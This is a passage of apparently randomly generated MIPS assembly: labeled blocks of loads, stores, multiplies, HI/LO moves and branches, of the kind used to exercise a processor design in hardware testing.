mthi $4
mflo $1
mthi $1
TAG243:
lbu $3, 0($1)
bne $3, $3, TAG244
lw $3, 0($3)
xor $1, $1, $3
TAG244:
lbu $1, 0($1)
multu $1, $1
lbu $3, 0($1)
sb $1, 0($3)
TAG245:
mflo $1
bne $3, $3, TAG246
sb $3, 0($1)
slt $4, $1, $1
TAG246:
srlv $1, $4, $4
mthi $4
mfhi $4
sb $1, 0($4)
TAG247:
sh $4, 0($4)
slt $1, $4, $4
beq $4, $4, TAG248
mfhi $2
TAG248:
sra $1, $2, 3
bgez $1, TAG249
mtlo $2
slti $4, $2, 5
TAG249:
mthi $4
mult $4, $4
lw $4, 0($4)
lui $2, 4
TAG250:
bgez $2, TAG251
mflo $4
mfhi $1
multu $2, $2
TAG251:
bltz $1, TAG252
mult $1, $1
addiu $1, $1, 9
lbu $2, 0($1)
TAG252:
xor $3, $2, $2
mult $3, $2
lbu $1, 0($3)
lui $2, 5
TAG253:
lui $2, 15
sltiu $2, $2, 7
bne $2, $2, TAG254
mflo $2
TAG254:
mult $2, $2
addiu $2, $2, 7
mfhi $3
mthi $3
TAG255:
srav $1, $3, $3
lhu $4, 0($1)
mult $4, $1
lui $1, 0
TAG256:
lui $1, 3
bgtz $1, TAG257
mfhi $1
sb $1, 0($1)
TAG257:
sltu $3, $1, $1
lui $4, 4
sll $0, $0, 0
sra $1, $1, 13
TAG258:
sw $1, 0($1)
multu $1, $1
lb $1, 0($1)
addi $2, $1, 12
TAG259:
srl $1, $2, 10
lui $1, 9
bltz $1, TAG260
lui $3, 9
TAG260:
srl $4, $3, 0
sltiu $3, $3, 4
lh $3, 0($3)
sb $3, 0($3)
TAG261:
sb $3, 0($3)
lbu $4, 0($3)
bgez $4, TAG262
mtlo $3
TAG262:
addiu $1, $4, 3
srl $1, $1, 9
lui $3, 9
blez $3, TAG263
TAG263:
divu $3, $3
blez $3, TAG264
lui $2, 9
subu $4, $3, $2
TAG264:
multu $4, $4
multu $4, $4
bltz $4, TAG265
mflo $2
TAG265:
bne $2, $2, TAG266
lui $1, 10
beq $1, $2, TAG266
mflo $2
TAG266:
srav $1, $2, $2
bgez $1, TAG267
multu $1, $2
blez $2, TAG267
TAG267:
sw $1, 0($1)
ori $2, $1, 11
mult $1, $1
mflo $4
TAG268:
bne $4, $4, TAG269
sh $4, 0($4)
lui $1, 7
sw $1, 0($4)
TAG269:
sll $0, $0, 0
mtlo $3
sll $0, $0, 0
bgez $3, TAG270
TAG270:
xor $3, $3, $3
lui $2, 15
beq $3, $3, TAG271
lui $2, 7
TAG271:
bne $2, $2, TAG272
sll $0, $0, 0
mfhi $2
multu $2, $2
TAG272:
bgez $2, TAG273
lui $1, 15
xori $2, $2, 8
bne $1, $2, TAG273
TAG273:
or $3, $2, $2
lbu $4, 0($2)
mtlo $2
blez $4, TAG274
TAG274:
srl $2, $4, 2
multu $4, $2
lhu $2, 0($4)
mthi $4
TAG275:
lui $4, 10
srav $3, $4, $4
sll $0, $0, 0
srlv $1, $3, $3
TAG276:
bgtz $1, TAG277
sll $0, $0, 0
mfhi $2
mult $2, $2
TAG277:
mflo $2
mflo $4
subu $3, $2, $2
lb $2, 0($2)
TAG278:
mtlo $2
mult $2, $2
multu $2, $2
sltiu $4, $2, 14
TAG279:
lui $3, 12
bltz $3, TAG280
mfhi $2
lhu $1, 0($2)
TAG280:
bltz $1, TAG281
mthi $1
sw $1, 0($1)
mfhi $3
TAG281:
mtlo $3
mthi $3
mthi $3
mult $3, $3
TAG282:
lh $4, 0($3)
lb $1, 0($3)
lui $1, 14
addiu $3, $3, 7
TAG283:
addiu $1, $3, 7
mthi $1
sh $3, 0($1)
beq $1, $3, TAG284
TAG284:
lh $3, 0($1)
sllv $3, $3, $1
xor $4, $3, $3
mtlo $4
TAG285:
sh $4, 0($4)
bne $4, $4, TAG286
lui $1, 6
sll $3, $1, 5
TAG286:
divu $3, $3
mthi $3
mthi $3
sll $0, $0, 0
TAG287:
srl $3, $3, 10
lui $2, 0
mtlo $3
lbu $4, 0($2)
TAG288:
multu $4, $4
mtlo $4
srl $4, $4, 6
ori $3, $4, 15
TAG289:
mthi $3
multu $3, $3
srlv $4, $3, $3
sub $4, $4, $4
TAG290:
lbu $2, 0($4)
addiu $3, $4, 3
beq $4, $3, TAG291
lbu $2, 0($2)
TAG291:
mfhi $1
sllv $4, $2, $1
mtlo $1
bne $2, $2, TAG292
TAG292:
mult $4, $4
nor $3, $4, $4
mtlo $4
sra $4, $4, 8
TAG293:
lbu $3, 0($4)
beq $3, $3, TAG294
lh $1, 0($4)
or $1, $4, $3
TAG294:
mflo $3
lhu $4, 0($3)
sh $1, 0($3)
mfhi $3
TAG295:
srl $2, $3, 12
mult $3, $3
lhu $1, 0($2)
sw $2, 0($2)
TAG296:
addi $3, $1, 11
bltz $1, TAG297
srav $2, $3, $1
mtlo $2
TAG297:
mthi $2
lbu $2, 0($2)
mult $2, $2
mfhi $4
TAG298:
srlv $1, $4, $4
nor $3, $1, $4
mfhi $1
bltz $4, TAG299
TAG299:
mflo $1
lhu $4, 0($1)
xori $4, $1, 14
srl $4, $1, 0
TAG300:
srl $2, $4, 10
mult $4, $2
sw $2, 0($4)
mthi $4
TAG301:
addu $3, $2, $2
addu $3, $2, $3
bne $2, $3, TAG302
lh $1, 0($3)
TAG302:
beq $1, $1, TAG303
multu $1, $1
bne $1, $1, TAG303
divu $1, $1
TAG303:
mtlo $1
mfhi $2
mtlo $2
beq $2, $2, TAG304
TAG304:
subu $3, $2, $2
srav $2, $2, $3
multu $2, $2
sh $3, 0($3)
TAG305:
multu $2, $2
mflo $2
srlv $4, $2, $2
bne $4, $2, TAG306
TAG306:
slti $2, $4, 8
sw $4, 0($4)
mtlo $2
mthi $4
TAG307:
mthi $2
mtlo $2
bgez $2, TAG308
addu $4, $2, $2
TAG308:
mflo $2
mflo $3
sltiu $4, $4, 13
mflo $1
TAG309:
sb $1, 0($1)
lbu $2, 0($1)
lui $3, 3
bgez $1, TAG310
TAG310:
mfhi $2
bne $3, $3, TAG311
subu $4, $3, $2
bltz $2, TAG311
TAG311:
sll $2, $4, 14
bne $2, $4, TAG312
mtlo $2
sb $4, 0($4)
TAG312:
bgez $2, TAG313
mult $2, $2
mtlo $2
divu $2, $2
TAG313:
div $2, $2
sll $0, $0, 0
bne $2, $3, TAG314
sll $0, $0, 0
TAG314:
lui $4, 8
bne $3, $4, TAG315
mfhi $2
slti $4, $2, 14
TAG315:
sll $0, $0, 0
mflo $2
lui $3, 13
mtlo $2
TAG316:
sll $0, $0, 0
sll $0, $0, 0
lui $1, 1
div $3, $3
TAG317:
sll $0, $0, 0
bltz $1, TAG318
addiu $2, $4, 3
sll $0, $0, 0
TAG318:
mflo $1
mfhi $4
bgtz $1, TAG319
lbu $2, 0($4)
TAG319:
mthi $2
addiu $4, $2, 10
lbu $2, 0($2)
addi $4, $2, 2
TAG320:
mult $4, $4
bltz $4, TAG321
nor $2, $4, $4
nor $3, $2, $2
TAG321:
lui $1, 2
slti $4, $3, 15
bne $4, $4, TAG322
srlv $1, $1, $4
TAG322:
lui $2, 10
sll $0, $0, 0
xor $3, $2, $1
mthi $1
TAG323:
sll $0, $0, 0
bltz $3, TAG324
mfhi $1
divu $1, $3
TAG324:
lui $2, 14
srlv $2, $1, $1
bne $2, $2, TAG325
mtlo $2
TAG325:
div $2, $2
div $2, $2
mult $2, $2
mult $2, $2
TAG326:
mthi $2
lui $2, 12
beq $2, $2, TAG327
slt $3, $2, $2
TAG327:
lhu $3, 0($3)
mult $3, $3
bltz $3, TAG328
lui $1, 6
TAG328:
mfhi $4
srl $3, $4, 5
bgez $1, TAG329
mthi $1
TAG329:
sll $2, $3, 9
bltz $3, TAG330
lui $3, 3
lui $3, 0
TAG330:
mtlo $3
lui $1, 5
mtlo $3
sh $3, 0($3)
TAG331:
sll $0, $0, 0
addu $1, $1, $2
blez $1, TAG332
divu $2, $1
TAG332:
slt $2, $1, $1
sw $2, 0($2)
beq $2, $1, TAG333
lui $3, 3
TAG333:
mult $3, $3
div $3, $3
srl $4, $3, 10
mthi $4
TAG334:
or $3, $4, $4
bgez $4, TAG335
mtlo $4
mfhi $1
TAG335:
lui $1, 9
mflo $1
bltz $1, TAG336
nor $2, $1, $1
TAG336:
sltu $2, $2, $2
sb $2, 0($2)
srl $4, $2, 3
lui $2, 15
TAG337:
bne $2, $2, TAG338
lui $3, 2
lui $2, 8
sll $0, $0, 0
TAG338:
sltiu $1, $2, 6
sll $0, $0, 0
lhu $1, 0($1)
beq $1, $1, TAG339
TAG339:
mult $1, $1
beq $1, $1, TAG340
mfhi $2
lb $4, 0($1)
TAG340:
bgtz $4, TAG341
sllv $1, $4, $4
mthi $1
lui $3, 6
TAG341:
andi $4, $3, 6
sll $0, $0, 0
beq $3, $3, TAG342
sll $0, $0, 0
TAG342:
bgez $1, TAG343
mfhi $4
sh $4, 0($4)
sh $4, 0($1)
TAG343:
mult $4, $4
addu $4, $4, $4
multu $4, $4
sw $4, 0($4)
TAG344:
lbu $2, 0($4)
bgez $4, TAG345
lbu $4, 0($4)
mtlo $4
TAG345:
andi $1, $4, 13
bne $4, $1, TAG346
mfhi $2
blez $2, TAG346
TAG346:
sh $2, 0($2)
multu $2, $2
xori $1, $2, 6
mfhi $1
TAG347:
andi $1, $1, 10
ori $2, $1, 13
mflo $2
bne $1, $1, TAG348
TAG348:
lb $1, 0($2)
ori $2, $1, 14
sh $2, 0($1)
srl $2, $2, 13
TAG349:
bltz $2, TAG350
mtlo $2
bne $2, $2, TAG350
lui $3, 10
TAG350:
bltz $3, TAG351
lui $2, 6
mtlo $2
blez $3, TAG351
TAG351:
or $3, $2, $2
div $2, $2
sll $0, $0, 0
mflo $3
TAG352:
div $3, $3
beq $3, $3, TAG353
srl $2, $3, 6
srl $2, $2, 9
TAG353:
mtlo $2
mtlo $2
blez $2, TAG354
multu $2, $2
TAG354:
sll $2, $2, 9
lui $1, 3
lui $1, 5
lb $4, 0($2)
TAG355:
bgtz $4, TAG356
sra $4, $4, 5
mtlo $4
lbu $4, 0($4)
TAG356:
beq $4, $4, TAG357
mult $4, $4
addu $4, $4, $4
lui $4, 15
TAG357:
lb $2, 0($4)
beq $2, $2, TAG358
lui $3, 0
beq $2, $3, TAG358
TAG358:
multu $3, $3
beq $3, $3, TAG359
lh $4, 0($3)
divu $4, $4
TAG359:
mtlo $4
mtlo $4
sh $4, 0($4)
lui $1, 8
TAG360:
srl $3, $1, 6
mtlo $1
sll $0, $0, 0
xori $1, $3, 15
TAG361:
mult $1, $1
sh $1, -8207($1)
sra $4, $1, 10
lh $4, 0($4)
TAG362:
div $4, $4
sb $4, 0($4)
mult $4, $4
lui $4, 13
TAG363:
or $4, $4, $4
blez $4, TAG364
sll $0, $0, 0
sll $0, $0, 0
TAG364:
sll $0, $0, 0
bgez $4, TAG365
sll $0, $0, 0
lw $2, 0($4)
TAG365:
bgtz $2, TAG366
sll $3, $2, 7
mult $3, $3
lb $1, 0($2)
TAG366:
slti $4, $1, 5
nor $1, $4, $1
sb $4, 8208($1)
sh $4, 8208($1)
TAG367:
mfhi $3
sltu $3, $3, $3
mtlo $3
mfhi $4
TAG368:
srl $3, $4, 15
sll $1, $4, 1
sw $4, 0($3)
beq $4, $4, TAG369
TAG369:
sw $1, 0($1)
sh $1, 0($1)
sh $1, 0($1)
lh $3, 0($1)
TAG370:
lb $2, 0($3)
slt $4, $3, $3
bgez $4, TAG371
mthi $4
TAG371:
and $2, $4, $4
and $1, $4, $2
addi $4, $1, 9
mthi $1
TAG372:
mfhi $1
lui $2, 1
blez $1, TAG373
multu $4, $1
TAG373:
bne $2, $2, TAG374
mfhi $1
slti $3, $2, 3
beq $2, $3, TAG374
TAG374:
srav $2, $3, $3
mult $3, $3
mult $2, $2
mult $2, $3
TAG375:
sub $3, $2, $2
lbu $2, 0($3)
mthi $3
blez $3, TAG376
TAG376:
lui $1, 10
slt $1, $2, $1
mtlo $1
lui $1, 9
TAG377:
sltu $2, $1, $1
lhu $4, 0($2)
blez $1, TAG378
multu $2, $4
TAG378:
mflo $4
lw $4, 0($4)
bne $4, $4, TAG379
sra $1, $4, 0
TAG379:
mfhi $2
mtlo $2
subu $1, $1, $2
sb $1, 0($1)
TAG380:
multu $1, $1
lui $1, 5
lui $1, 12
srl $1, $1, 12
TAG381:
addiu $2, $1, 3
bne $1, $2, TAG382
subu $3, $1, $2
divu $1, $3
TAG382:
subu $2, $3, $3
mfhi $2
lw $4, 0($2)
beq $2, $4, TAG383
TAG383:
sb $4, 0($4)
sltiu $2, $4, 12
lbu $1, 0($4)
lui $1, 14
TAG384:
divu $1, $1
mtlo $1
addu $1, $1, $1
mfhi $3
TAG385:
mflo $1
mult $1, $1
bgtz $3, TAG386
lh $4, 0($3)
TAG386:
sll $2, $4, 13
mflo $4
xori $4, $2, 7
sb $4, 0($4)
TAG387:
bgez $4, TAG388
sllv $3, $4, $4
lui $1, 2
lui $3, 12
TAG388:
blez $3, TAG389
xori $2, $3, 12
andi $1, $2, 0
and $4, $1, $3
TAG389:
sw $4, 0($4)
mflo $4
mtlo $4
multu $4, $4
TAG390:
sltu $2, $4, $4
addu $3, $2, $2
sltiu $3, $3, 9
slti $2, $2, 13
TAG391:
div $2, $2
lbu $4, 0($2)
mfhi $3
lhu $4, 0($4)
TAG392:
mflo $3
bgez $3, TAG393
andi $1, $3, 8
srl $1, $4, 5
TAG393:
mthi $1
mult $1, $1
mflo $1
lui $3, 0
TAG394:
lui $4, 9
mflo $1
andi $1, $1, 5
multu $4, $1
TAG395:
multu $1, $1
lhu $4, 0($1)
subu $3, $4, $4
mult $4, $3
TAG396:
mflo $1
bne $3, $3, TAG397
mfhi $2
blez $1, TAG397
TAG397:
multu $2, $2
mthi $2
sw $2, 0($2)
mflo $2
TAG398:
xor $3, $2, $2
mtlo $3
bne $3, $3, TAG399
mflo $1
TAG399:
mtlo $1
bgez $1, TAG400
lui $1, 0
lui $3, 11
TAG400:
multu $3, $3
and $4, $3, $3
multu $4, $3
mfhi $4
TAG401:
sll $2, $4, 2
sw $2, 0($2)
slt $4, $2, $4
bltz $4, TAG402
TAG402:
mfhi $1
bltz $1, TAG403
sw $4, 0($1)
nor $1, $4, $4
TAG403:
sllv $3, $1, $1
divu $1, $3
blez $1, TAG404
or $4, $3, $3
TAG404:
multu $4, $4
xori $1, $4, 5
andi $4, $1, 1
mthi $4
TAG405:
subu $3, $4, $4
bgez $4, TAG406
mflo $1
blez $1, TAG406
TAG406:
srlv $1, $1, $1
lbu $2, 0($1)
bgtz $1, TAG407
lbu $2, 0($1)
TAG407:
lbu $3, 0($2)
beq $3, $2, TAG408
lh $4, 0($2)
mtlo $2
TAG408:
multu $4, $4
mfhi $2
lb $2, 0($2)
sw $2, 0($4)
TAG409:
sw $2, 0($2)
mtlo $2
mflo $1
mtlo $1
TAG410:
sb $1, 0($1)
beq $1, $1, TAG411
sh $1, 0($1)
lb $4, 0($1)
TAG411:
mthi $4
mult $4, $4
sw $4, 0($4)
add $1, $4, $4
TAG412:
sh $1, 0($1)
ori $4, $1, 6
beq $1, $1, TAG413
sh $1, 0($1)
TAG413:
lbu $4, 0($4)
mult $4, $4
multu $4, $4
mthi $4
TAG414:
slt $3, $4, $4
mflo $2
mtlo $4
sll $4, $2, 5
TAG415:
srlv $2, $4, $4
bne $4, $4, TAG416
lui $2, 6
multu $2, $2
TAG416:
mult $2, $2
div $2, $2
bne $2, $2, TAG417
mtlo $2
TAG417:
divu $2, $2
sll $0, $0, 0
mfhi $2
beq $2, $2, TAG418
TAG418:
sw $2, 0($2)
bne $2, $2, TAG419
mthi $2
andi $2, $2, 14
TAG419:
bne $2, $2, TAG420
sb $2, 0($2)
bne $2, $2, TAG420
sw $2, 0($2)
TAG420:
lui $3, 7
bgtz $2, TAG421
mtlo $3
divu $2, $3
TAG421:
lui $3, 12
mflo $2
lui $4, 12
mult $2, $4
TAG422:
subu $2, $4, $4
sll $1, $4, 10
mtlo $4
nor $2, $4, $4
TAG423:
mthi $2
and $1, $2, $2
lui $4, 9
bgez $4, TAG424
TAG424:
lui $1, 15
ori $2, $1, 7
mult $4, $1
mflo $1
TAG425:
multu $1, $1
sw $1, 0($1)
lui $1, 8
sll $0, $0, 0
TAG426:
bgez $1, TAG427
divu $1, $1
sh $1, 0($1)
sb $1, 0($1)
TAG427:
srav $2, $1, $1
divu $1, $2
sltu $1, $1, $1
lui $2, 2
TAG428:
beq $2, $2, TAG429
lui $3, 12
bltz $3, TAG429
mfhi $4
TAG429:
div $4, $4
bne $4, $4, TAG430
mflo $1
sll $0, $0, 0
TAG430:
mtlo $3
sll $0, $0, 0
lui $4, 7
bne $3, $3, TAG431
TAG431:
sll $0, $0, 0
mthi $4
sll $0, $0, 0
addiu $3, $4, 0
TAG432:
lui $2, 12
sll $0, $0, 0
bne $2, $2, TAG433
mtlo $2
TAG433:
lui $1, 6
divu $1, $1
blez $1, TAG434
mflo $1
TAG434:
lui $4, 15
lb $1, 0($1)
mflo $2
ori $2, $2, 15
TAG435:
sb $2, 0($2)
mfhi $3
slti $2, $3, 13
lui $1, 3
TAG436:
sll $0, $0, 0
sll $0, $0, 0
subu $1, $1, $4
sll $0, $0, 0
TAG437:
ori $2, $1, 12
mfhi $4
lui $4, 6
beq $2, $2, TAG438
TAG438:
sll $0, $0, 0
addiu $1, $4, 7
srl $4, $4, 1
sll $0, $0, 0
TAG439:
mflo $3
sltiu $3, $4, 5
div $4, $4
lh $3, 0($3)
TAG440:
mtlo $3
lui $2, 9
bne $2, $2, TAG441
mtlo $2
TAG441:
bltz $2, TAG442
andi $2, $2, 10
mflo $4
bne $2, $4, TAG442
TAG442:
mult $4, $4
bne $4, $4, TAG443
lui $1, 14
sll $0, $0, 0
TAG443:
sra $3, $1, 13
sb $1, 0($3)
sll $0, $0, 0
sll $0, $0, 0
TAG444:
bgez $4, TAG445
sll $4, $4, 6
bgtz $4, TAG445
lui $3, 5
TAG445:
mflo $3
mfhi $1
or $4, $3, $1
beq $4, $3, TAG446
TAG446:
xor $2, $4, $4
lui $4, 0
srl $2, $2, 1
mflo $1
TAG447:
multu $1, $1
lui $2, 8
divu $1, $2
bne $2, $1, TAG448
TAG448:
addu $1, $2, $2
addiu $3, $2, 0
div $2, $2
sll $0, $0, 0
TAG449:
mtlo $1
mtlo $1
lui $1, 6
sll $0, $0, 0
TAG450:
lui $2, 3
mthi $2
lui $2, 11
sra $2, $1, 4
TAG451:
mfhi $3
blez $3, TAG452
lui $3, 13
mflo $1
TAG452:
mthi $1
mthi $1
mfhi $3
sll $0, $0, 0
TAG453:
srav $1, $3, $3
bne $1, $3, TAG454
div $1, $1
div $3, $1
TAG454:
slt $4, $1, $1
multu $1, $1
mfhi $4
srlv $3, $4, $1
TAG455:
lui $1, 3
mtlo $3
sll $0, $0, 0
xori $4, $3, 10
TAG456:
lui $4, 13
mtlo $4
mtlo $4
and $3, $4, $4
TAG457:
div $3, $3
sltu $2, $3, $3
sh $2, 0($2)
srav $3, $3, $3
TAG458:
or $3, $3, $3
mflo $4
mtlo $3
sllv $4, $4, $4
TAG459:
addiu $3, $4, 8
lui $2, 6
srav $4, $4, $3
nor $3, $4, $3
TAG460:
bgtz $3, TAG461
srl $3, $3, 14
sll $0, $0, 0
sll $0, $0, 0
TAG461:
sll $0, $0, 0
addu $3, $1, $1
sll $0, $0, 0
xor $3, $1, $1
TAG462:
bltz $3, TAG463
addi $1, $3, 12
lh $3, 0($1)
mtlo $3
TAG463:
bgez $3, TAG464
or $3, $3, $3
lui $3, 4
sh $3, 0($3)
TAG464:
mflo $2
and $3, $2, $2
sltu $2, $3, $3
mfhi $2
TAG465:
lui $2, 2
blez $2, TAG466
lui $4, 14
sll $0, $0, 0
TAG466:
mflo $4
sltu $3, $4, $4
srav $2, $4, $4
mthi $2
TAG467:
bltz $2, TAG468
lui $4, 0
addu $4, $2, $4
xor $3, $4, $4
TAG468:
lui $3, 0
lw $4, 0($3)
mult $3, $3
lw $1, 0($3)
TAG469:
and $4, $1, $1
mtlo $4
xori $1, $4, 11
multu $1, $4
TAG470:
mult $1, $1
lb $3, 0($1)
bgez $1, TAG471
sb $3, 0($1)
TAG471:
bne $3, $3, TAG472
mflo $4
lui $1, 1
sll $0, $0, 0
TAG472:
bltz $1, TAG473
sll $0, $0, 0
sll $0, $0, 0
xori $1, $1, 2
TAG473:
sll $0, $0, 0
beq $1, $1, TAG474
divu $1, $1
bgez $1, TAG474
TAG474:
multu $1, $1
beq $1, $1, TAG475
divu $1, $1
mflo $2
TAG475:
bltz $2, TAG476
lh $3, 0($2)
xori $3, $3, 6
mfhi $2
TAG476:
bne $2, $2, TAG477
lb $4, 0($2)
lui $4, 12
multu $4, $2
TAG477:
sra $3, $4, 4
mthi $4
xori $4, $4, 9
sll $0, $0, 0
TAG478:
multu $4, $4
sll $0, $0, 0
blez $4, TAG479
sll $0, $0, 0
TAG479:
bltz $4, TAG480
sll $0, $0, 0
mflo $4
bne $4, $4, TAG480
TAG480:
mthi $4
srav $3, $4, $4
mfhi $3
mtlo $3
TAG481:
mult $3, $3
mtlo $3
bgez $3, TAG482
sll $0, $0, 0
TAG482:
bgtz $3, TAG483
mult $3, $3
sw $3, 0($3)
mfhi $1
TAG483:
blez $1, TAG484
divu $1, $1
lui $2, 4
mfhi $4
TAG484:
mthi $4
multu $4, $4
lhu $4, 0($4)
addiu $3, $4, 1
TAG485:
bltz $3, TAG486
addiu $1, $3, 2
lui $3, 11
lbu $4, 0($1)
TAG486:
slt $2, $4, $4
bgez $2, TAG487
mtlo $4
mfhi $2
TAG487:
addu $2, $2, $2
lui $3, 8
lb $2, 0($2)
divu $2, $3
TAG488:
mtlo $2
mfhi $3
bgez $3, TAG489
lui $2, 14
TAG489:
lui $1, 1
mflo $4
mthi $4
addu $1, $2, $2
TAG490:
mthi $1
addiu $2, $1, 12
slti $4, $1, 2
bgez $2, TAG491
TAG491:
sb $4, 0($4)
sll $2, $4, 1
bgtz $2, TAG492
mfhi $3
TAG492:
lui $4, 4
nor $3, $4, $3
bgtz $3, TAG493
lui $1, 14
TAG493:
lui $1, 13
sll $0, $0, 0
bgez $3, TAG494
sll $0, $0, 0
TAG494:
div $3, $3
lui $4, 4
multu $3, $3
mthi $3
TAG495:
div $4, $4
lui $1, 1
xor $1, $4, $4
lb $4, 0($1)
TAG496:
multu $4, $4
mult $4, $4
lui $3, 15
mflo $1
TAG497:
beq $1, $1, TAG498
mthi $1
mtlo $1
srl $1, $1, 0
TAG498:
mfhi $3
bgez $3, TAG499
lui $3, 0
mtlo $1
TAG499:
sb $3, 0($3)
and $2, $3, $3
bgez $3, TAG500
lb $2, 0($2)
TAG500:
ori $4, $2, 1
bne $2, $4, TAG501
lbu $4, 0($2)
bgtz $4, TAG501
TAG501:
mthi $4
srl $1, $4, 5
sh $4, 0($4)
bltz $1, TAG502
TAG502:
lui $4, 4
lbu $4, 0($1)
beq $1, $4, TAG503
lui $4, 12
TAG503:
sll $0, $0, 0
lui $3, 11
lui $3, 14
divu $3, $3
TAG504:
bltz $3, TAG505
lui $3, 6
beq $3, $3, TAG505
mtlo $3
TAG505:
sll $0, $0, 0
mflo $1
lui $2, 7
xori $3, $2, 7
TAG506:
lui $1, 3
lui $3, 3
mthi $3
sll $0, $0, 0
TAG507:
lui $1, 10
srl $2, $1, 13
beq $3, $2, TAG508
lui $4, 4
TAG508:
bgtz $4, TAG509
sll $0, $0, 0
sb $4, 0($2)
mfhi $2
TAG509:
mflo $3
div $2, $2
lui $1, 2
mult $1, $2
TAG510:
mflo $1
mult $1, $1
addiu $2, $1, 6
mthi $1
TAG511:
sll $0, $0, 0
addu $2, $2, $2
bne $2, $2, TAG512
sll $0, $0, 0
TAG512:
sll $0, $0, 0
sll $0, $0, 0
bltz $2, TAG513
lui $2, 3
TAG513:
lui $1, 7
bgtz $1, TAG514
mflo $1
lhu $3, 0($1)
TAG514:
sll $0, $0, 0
mthi $3
div $2, $2
srl $4, $3, 14
TAG515:
bltz $4, TAG516
lw $1, 0($4)
mflo $4
bne $4, $4, TAG516
TAG516:
sb $4, 0($4)
mfhi $3
sb $4, 0($3)
sh $4, 0($3)
TAG517:
mtlo $3
srl $3, $3, 7
sll $1, $3, 10
lh $2, 0($1)
TAG518:
mfhi $1
and $1, $1, $2
xori $3, $1, 13
lui $3, 12
TAG519:
bgez $3, TAG520
sll $0, $0, 0
addi $2, $3, 12
lui $4, 13
TAG520:
lui $1, 2
sb $4, 0($4)
and $1, $1, $4
sra $4, $1, 7
TAG521:
mflo $1
sltiu $2, $4, 8
sltiu $3, $2, 12
addiu $2, $3, 5
TAG522:
divu $2, $2
lui $1, 4
sh $2, 0($2)
subu $1, $2, $2
TAG523:
mtlo $1
multu $1, $1
mflo $2
lui $4, 8
TAG524:
bne $4, $4, TAG525
mtlo $4
mfhi $1
bne $1, $1, TAG525
TAG525:
mult $1, $1
srl $2, $1, 0
mthi $2
sra $1, $1, 6
TAG526:
sb $1, 0($1)
lui $4, 6
mtlo $4
lui $1, 9
TAG527:
mflo $1
lui $1, 1
bltz $1, TAG528
sra $2, $1, 4
TAG528:
mfhi $2
lh $2, 0($2)
lui $1, 5
blez $2, TAG529
TAG529:
mtlo $1
addu $2, $1, $1
lui $1, 7
or $3, $2, $1
TAG530:
mfhi $1
lui $2, 2
sll $0, $0, 0
ori $3, $1, 14
TAG531:
mult $3, $3
div $3, $3
lui $4, 12
slt $1, $4, $4
TAG532:
sh $1, 0($1)
lb $2, 0($1)
multu $2, $1
mflo $1
TAG533:
sh $1, 0($1)
multu $1, $1
lui $2, 9
mthi $1
TAG534:
or $1, $2, $2
ori $2, $1, 5
sll $0, $0, 0
sll $0, $0, 0
TAG535:
mtlo $3
lh $3, 0($3)
lui $1, 11
mfhi $3
TAG536:
xor $3, $3, $3
srav $3, $3, $3
bgtz $3, TAG537
lui $1, 1
TAG537:
sll $0, $0, 0
or $4, $1, $1
mtlo $4
mthi $1
TAG538:
divu $4, $4
addiu $4, $4, 8
mfhi $4
lui $2, 6
TAG539:
mthi $2
bltz $2, TAG540
mtlo $2
sll $0, $0, 0
TAG540:
bgez $4, TAG541
sll $3, $4, 3
lui $2, 4
srlv $3, $3, $2
TAG541:
sw $3, 0($3)
addi $1, $3, 2
addi $1, $3, 10
beq $1, $1, TAG542
TAG542:
sltu $3, $1, $1
divu $3, $1
sh $1, 0($3)
bltz $3, TAG543
TAG543:
lui $2, 1
lbu $3, 0($3)
multu $3, $2
lh $4, 0($3)
TAG544:
multu $4, $4
srlv $4, $4, $4
lui $2, 6
bgtz $4, TAG545
TAG545:
addiu $4, $2, 15
or $4, $2, $4
sll $0, $0, 0
lui $2, 0
TAG546:
mult $2, $2
lui $2, 2
mtlo $2
lui $2, 8
TAG547:
mflo $2
mflo $4
mtlo $2
sll $0, $0, 0
TAG548:
mthi $1
sltiu $2, $1, 2
sllv $1, $2, $1
add $1, $1, $1
TAG549:
mult $1, $1
sh $1, 0($1)
lh $3, 0($1)
bgez $3, TAG550
TAG550:
sw $3, 0($3)
mflo $2
beq $3, $2, TAG551
multu $2, $3
TAG551:
sh $2, 0($2)
lh $2, 0($2)
xor $4, $2, $2
lbu $3, 0($4)
TAG552:
beq $3, $3, TAG553
lui $4, 2
sw $4, 0($3)
bne $3, $4, TAG553
TAG553:
lui $3, 7
mult $4, $4
sll $0, $0, 0
sll $0, $0, 0
TAG554:
beq $1, $1, TAG555
lui $4, 11
beq $4, $1, TAG555
sltu $1, $1, $1
TAG555:
sll $2, $1, 13
blez $2, TAG556
sb $2, 0($1)
slt $3, $1, $1
TAG556:
sll $0, $0, 0
mtlo $3
mtlo $3
mtlo $3
TAG557:
beq $3, $3, TAG558
sltiu $4, $3, 4
ori $1, $3, 13
sub $3, $1, $4
TAG558:
divu $3, $3
bltz $3, TAG559
sll $0, $0, 0
sltiu $3, $3, 12
TAG559:
lw $1, 0($3)
sw $3, 0($3)
lb $3, 0($1)
blez $3, TAG560
TAG560:
ori $1, $3, 9
lbu $4, 0($1)
mfhi $3
beq $4, $3, TAG561
TAG561:
mtlo $3
mthi $3
slti $1, $3, 4
bgtz $3, TAG562
TAG562:
lui $1, 11
sll $2, $1, 9
mult $1, $1
srl $2, $2, 12
TAG563:
mthi $2
slti $1, $2, 15
lb $3, 0($1)
mtlo $3
TAG564:
slti $3, $3, 13
multu $3, $3
lui $2, 10
mfhi $2
TAG565:
multu $2, $2
mthi $2
mthi $2
blez $2, TAG566
TAG566:
addiu $3, $2, 13
mflo $1
bne $3, $1, TAG567
mthi $1
TAG567:
blez $1, TAG568
mtlo $1
sw $1, 0($1)
lui $1, 13
TAG568:
multu $1, $1
mfhi $2
lhu $2, 0($1)
sb $2, 0($2)
TAG569:
mthi $2
beq $2, $2, TAG570
lhu $1, 0($2)
srav $1, $1, $2
TAG570:
mfhi $3
sll $2, $1, 14
mtlo $1
mthi $1
TAG571:
mult $2, $2
sltiu $4, $2, 13
mtlo $4
bne $4, $2, TAG572
TAG572:
lb $2, 0($4)
bne $2, $4, TAG573
multu $2, $2
slt $2, $2, $2
TAG573:
mflo $4
lh $2, 0($4)
or $4, $2, $2
bgtz $2, TAG574
TAG574:
multu $4, $4
lui $3, 7
xor $4, $4, $4
multu $4, $3
TAG575:
sh $4, 0($4)
sb $4, 0($4)
lh $3, 0($4)
mult $4, $4
TAG576:
mthi $3
sra $1, $3, 5
blez $1, TAG577
nor $4, $3, $1
TAG577:
sh $4, 1($4)
mthi $4
lui $4, 15
div $4, $4
TAG578:
lui $2, 1
sll $0, $0, 0
mult $4, $2
sll $0, $0, 0
TAG579:
lui $2, 12
srl $3, $2, 3
beq $2, $2, TAG580
